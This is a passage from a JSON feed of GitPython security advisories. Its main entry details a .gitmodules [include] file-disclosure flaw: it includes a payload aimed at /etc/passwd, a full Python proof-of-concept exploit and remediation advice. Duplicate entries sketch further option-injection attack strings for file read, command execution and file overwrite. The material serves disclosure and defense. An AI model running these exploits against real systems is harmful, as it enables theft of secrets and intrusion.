writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n   ```\n   [include]\n   \tpath = /etc/passwd\n   ```\n   (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret — `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`'s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`'s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities — exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` — one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` — `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` — `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`'s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) — absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) — raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`'s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` — `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No — that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`'s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` — an entirely different module and code path. This finding discloses actual file content via `git/config.py`'s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No — confirmed by reading `Submodule.iter_items()`'s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) — `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn't valid\ngit-config syntax (true of virtually any non-gitconfig file), Python's\n`configparser.MissingSectionHeaderError` embeds the file's first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n    target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n    attacker_repo = os.path.join(workdir, \"attacker-repo\")\n    dest = os.path.join(workdir, \"dest\")\n    for p in (attacker_repo, dest):\n        os.makedirs(p, exist_ok=True)\n\n    if not os.path.exists(target_file):\n        os.makedirs(os.path.dirname(target_file), exist_ok=True)\n        with open(target_file, \"w\") as f:\n            f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n    with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n        f.write(\"hello\\n\")\n\n    with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n        f.write(\n            '[submodule \"totally-normal-dep\"]\\n'\n            \"\\tpath = vendor/dep\\n\"\n            \"\\turl = https://example.com/dep.git\\n\"\n            \"[include]\\n\"\n            \"\\tpath = %s\\n\" % target_file\n        )\n\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n    import git  # gitpython under test\n    import configparser\n\n    repo = git.Repo.clone_from(attacker_repo, dest)\n\n    try:\n        subs = list(repo.submodules)\n        print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n        sys.exit(1)\n    except configparser.MissingSectionHeaderError as e:\n        msg = str(e)\n        print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n        print(msg)\n        with open(target_file) as f:\n            first_line = f.readline().rstrip(\"\\n\")\n        if first_line in msg:\n            print(\"Confirmed: target file's first line is present verbatim in the exception message.\")\n            sys.exit(0)\n        else:\n            print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n            sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T18:38:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q","https://nvd.nist.gov/vuln/detail/CVE-2026-78675","https://github.com/gitpython-developers/GitPython/pull/2211","https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml","https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules","https://github.com/advisories/GHSA-7833-fr7j-v32q"],"source_kind":"github","identifiers":["GHSA-7833-fr7j-v32q","CVE-2026-78675"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T19:00:09.410Z","updated_at":"2026-10-02T15:00:44.779Z","epss_percentage":0.00178,"epss_percentile":0.06532,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ODMzLWZyN2otdjMycc4ABu8Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03ODMzLWZyN2otdjMycc4ABu8Q","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.59","vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ODMzLWZyN2otdjMycc4ABu8Q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04OWZmLW04d3YtcDk5cs4ABlQu","url":"https://github.com/advisories/GHSA-89ff-m8wv-p99r","title":"Duplicate Advisory: GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-5xxx-qhh7-9287. This link is maintained to preserve external references.\n\n## Original Description\nGitPython versions before 3.1.59 contain an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options, allowing attackers to read arbitrary files by passing these options to Repo.blame(). Attackers can supply revision values like --contents=/etc/passwd to leak file contents through the blame result returned to the caller.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-08T18:41:21.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287","https://nvd.nist.gov/vuln/detail/CVE-2026-78678","https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame","https://github.com/advisories/GHSA-89ff-m8wv-p99r"],"source_kind":"github","identifiers":["GHSA-89ff-m8wv-p99r"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T19:00:09.410Z","updated_at":"2026-10-02T15:00:44.776Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OWZmLW04d3YtcDk5cs4ABlQu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04OWZmLW04d3YtcDk5cs4ABlQu","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OWZmLW04d3YtcDk5cs4ABlQu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cmoyLTk2ZjUtY2hqOc4ABlQK","url":"https://github.com/advisories/GHSA-6rj2-96f5-chj9","title":"Duplicate Advisory: GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3wxw-xv34-2frg. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=\u003cpath\u003e to read arbitrary files, with contents returned in the annotated tag message.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-08T19:10:57.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg","https://nvd.nist.gov/vuln/detail/CVE-2026-78679","https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create","https://github.com/advisories/GHSA-6rj2-96f5-chj9"],"source_kind":"github","identifiers":["GHSA-6rj2-96f5-chj9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T20:00:09.256Z","updated_at":"2026-10-02T15:00:44.772Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cmoyLTk2ZjUtY2hqOc4ABlQK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cmoyLTk2ZjUtY2hqOc4ABlQK","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cmoyLTk2ZjUtY2hqOc4ABlQK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NTU3LTIzNGotN3J2Oc4ABlQo","url":"https://github.com/advisories/GHSA-9557-234j-7rv9","title":"Duplicate Advisory: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-284h-m62q-gf8w. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-25T03:32:10.000Z","withdrawn_at":"2026-09-08T18:39:17.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w","https://nvd.nist.gov/vuln/detail/CVE-2026-78676","https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection","https://github.com/advisories/GHSA-9557-234j-7rv9"],"source_kind":"github","identifiers":["GHSA-9557-234j-7rv9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T19:00:09.410Z","updated_at":"2026-10-02T15:00:44.778Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NTU3LTIzNGotN3J2Oc4ABlQo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NTU3LTIzNGotN3J2Oc4ABlQo","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NTU3LTIzNGotN3J2Oc4ABlQo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcm1jLWY0bTctMzNmas4ABlQn","url":"https://github.com/advisories/GHSA-crmc-f4m7-33fj","title":"Duplicate Advisory: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7833-fr7j-v32q. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:10.000Z","withdrawn_at":"2026-09-08T18:18:42.000Z","classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q","https://nvd.nist.gov/vuln/detail/CVE-2026-78675","https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules","https://github.com/advisories/GHSA-crmc-f4m7-33fj"],"source_kind":"github","identifiers":["GHSA-crmc-f4m7-33fj"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T19:00:09.410Z","updated_at":"2026-10-02T15:00:44.779Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcm1jLWY0bTctMzNmas4ABlQn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcm1jLWY0bTctMzNmas4ABlQn","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcm1jLWY0bTctMzNmas4ABlQn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cjM5LTZxOG0tcXc2OM4ABlQr","url":"https://github.com/advisories/GHSA-7r39-6q8m-qw68","title":"Duplicate Advisory: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mcc-hrx5-hvxc. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:10.000Z","withdrawn_at":"2026-09-08T18:41:44.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc","https://nvd.nist.gov/vuln/detail/CVE-2026-78677","https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir","https://github.com/advisories/GHSA-7r39-6q8m-qw68"],"source_kind":"github","identifiers":["GHSA-7r39-6q8m-qw68"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T19:00:09.410Z","updated_at":"2026-10-02T15:00:44.775Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cjM5LTZxOG0tcXc2OM4ABlQr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cjM5LTZxOG0tcXc2OM4ABlQr","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cjM5LTZxOG0tcXc2OM4ABlQr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NjcyLTIzOWctYzNncs4ABkyG","url":"https://github.com/advisories/GHSA-w672-239g-c3gr","title":"Duplicate Advisory: GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-hh9p-6wh2-4mfc. This link is maintained to preserve external references.\n\n## Original Description\nGitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-19T15:32:33.000Z","withdrawn_at":"2026-09-08T20:53:37.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc","https://nvd.nist.gov/vuln/detail/CVE-2026-76217","https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file","https://github.com/advisories/GHSA-w672-239g-c3gr"],"source_kind":"github","identifiers":["GHSA-w672-239g-c3gr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.188Z","updated_at":"2026-10-02T15:00:42.477Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NjcyLTIzOWctYzNncs4ABkyG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NjcyLTIzOWctYzNncs4ABkyG","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NjcyLTIzOWctYzNncs4ABkyG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13djQ2LXhwajgtcHc1M84ABkyl","url":"https://github.com/advisories/GHSA-wv46-xpj8-pw53","title":"Duplicate Advisory: GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-wvpp-8hx9-p66j. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-19T15:32:33.000Z","withdrawn_at":"2026-09-08T20:54:46.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j","https://nvd.nist.gov/vuln/detail/CVE-2026-76220","https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options","https://github.com/advisories/GHSA-wv46-xpj8-pw53"],"source_kind":"github","identifiers":["GHSA-wv46-xpj8-pw53"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.188Z","updated_at":"2026-10-02T15:00:42.476Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djQ2LXhwajgtcHc1M84ABkyl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13djQ2LXhwajgtcHc1M84ABkyl","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djQ2LXhwajgtcHc1M84ABkyl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03angzLWpxY3AtaGhnY84ABkya","url":"https://github.com/advisories/GHSA-7jx3-jqcp-hhgc","title":"Duplicate Advisory: GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-4gmw-gg2m-w46p. This link is maintained to preserve external references.\n\n## Original Description\nGitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable 